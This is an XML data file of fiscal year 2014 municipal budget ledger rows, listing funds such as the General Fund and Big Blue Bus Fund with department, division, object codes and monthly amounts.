<row _id="9936"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1627.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1627.0</total></row>
<row _id="9937"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1059.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1059.0</total></row>
<row _id="9938"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4520152.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4520152.0</total></row>
<row _id="9939"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5050.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>63.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5113.0</total></row>
<row _id="9940"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>407030.0</object><object_description>PROP C FOOTHILL MITIGATION</object_description><category_code>658.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2014</fiscal_year><july>-543804.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-543804.0</total></row>
<row _id="9941"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>555020.0</object><object_description>OUTSIDE SERVICE-SECURITY</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>466000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>466000.0</total></row>
<row _id="9942"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>901347.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>901347.0</total></row>
<row _id="9943"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>PRINTING - GENERAL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>500.0</total></row>
<row _id="9944"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>400570.0</object><object_description>ADMIN FINES/PENALTIES</object_description><category_code>614.0</category_code><category_code_description>Fines and Forfeitures</category_code_description><fiscal_year>2014</fiscal_year><july>-5000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-5000.0</total></row>
<row _id="9945"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>UNREALIZED GAIN / LOSS</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-1000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1000.0</total></row>
<row _id="9946"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>577130.0</object><object_description>CONSUMER PROTECTION UNIT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>15000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>39238.34</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>54238.34</total></row>
<row _id="9947"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>625793.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>66602</december><january>-425.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>691970.0</total></row>
<row _id="9948"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4038.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4038.0</total></row>
<row _id="9949"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>16120.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16120.0</total></row>
<row _id="9950"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>732.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>732.0</total></row>
<row _id="9951"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1538.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1538.0</total></row>
<row _id="9952"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>48848.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>48848.0</total></row>
<row _id="9953"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>23556.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>23556.0</total></row>
<row _id="9954"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6490.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6490.0</total></row>
<row _id="9955"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>91782.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>91782.0</total></row>
<row _id="9956"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561139.0</object><object_description>OPCC INTERIM HOUSING &amp; WELLNES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>854513.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>854513.0</total></row>
<row _id="9957"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561161.0</object><object_description>STEP UP-SANTUARY-GENERAL FUND</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>125723.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>125723.0</total></row>
<row _id="9958"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561171.0</object><object_description>EMERGENCY FOOD DISTRIBUTION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>105566.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>105566.0</total></row>
<row _id="9959"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562151.0</object><object_description>FAM SVC OF SM-AGCY BSD COM SPP</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>63236.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>63236.0</total></row>
<row _id="9960"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>577140.0</object><object_description>DISABILITY ACCOMODATIONS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>300.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>300.0</total></row>
<row _id="9961"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522974.0</object><object_description>LNG FUEL-REVENUE VEHICLES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5100000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5100000.0</total></row>
<row _id="9962"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>205.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>205.0</total></row>
<row _id="9963"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522620.0</object><object_description>RENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>102.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>102.0</total></row>
<row _id="9964"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8409.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8409.0</total></row>
<row _id="9965"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5857.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5857.0</total></row>
<row _id="9966"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522500.0</object><object_description>BOARDS AND COMMISSIONS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1908.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1908.0</total></row>
<row _id="9967"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3077.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3077.0</total></row>
<row _id="9968"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561133.0</object><object_description>OPCC-DAYBREAK DAY CTR-GEN FND</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>229376.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>229376.0</total></row>
<row _id="9969"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562152.0</object><object_description>FM SVC OF SM-MUIR SCHOOL PROG</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>100864.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>100864.0</total></row>
<row _id="9970"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562361.0</object><object_description>ST JOE-FAM SELF SUF PRG-GEN FD</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>106727.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>106727.0</total></row>
<row _id="9971"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>565261.0</object><object_description>OPCC-SOJOURN-GENERAL FUND</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>63878.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>63878.0</total></row>
<row _id="9972"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522976.0</object><object_description>LNG FUEL TAXES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>266500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>266500.0</total></row>
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<row _id="9975"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5214.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5214.0</total></row>
<row _id="9976"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>10390.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10390.0</total></row>
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<row _id="9981"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>13828.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13828.0</total></row>
<row _id="9982"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>522544.0</object><object_description>GRAPHIC DESIGN</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>47500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>47500.0</total></row>
<row _id="9983"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522112.0</object><object_description>UTIL-LIGHT/POWER-BEACH</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>81396.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>81396.0</total></row>
<row _id="9984"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>402650.0</object><object_description>NON-TRANSP REV-OPER</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-26138.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-26138.0</total></row>
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<row _id="9986"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>403010.0</object><object_description>OPERATING INTEREST - CITY</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-76003.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-76003.0</total></row>
<row _id="9987"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>404080.0</object><object_description>INTEREST - CAPITAL</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-141148.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-141148.0</total></row>
<row _id="9988"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>404220.0</object><object_description>OTHER OPER REV-MISCELLANEOUS</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-44000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-44000.0</total></row>
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<row _id="9991"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>PRINTING - GENERAL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>25625.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>25625.0</total></row>
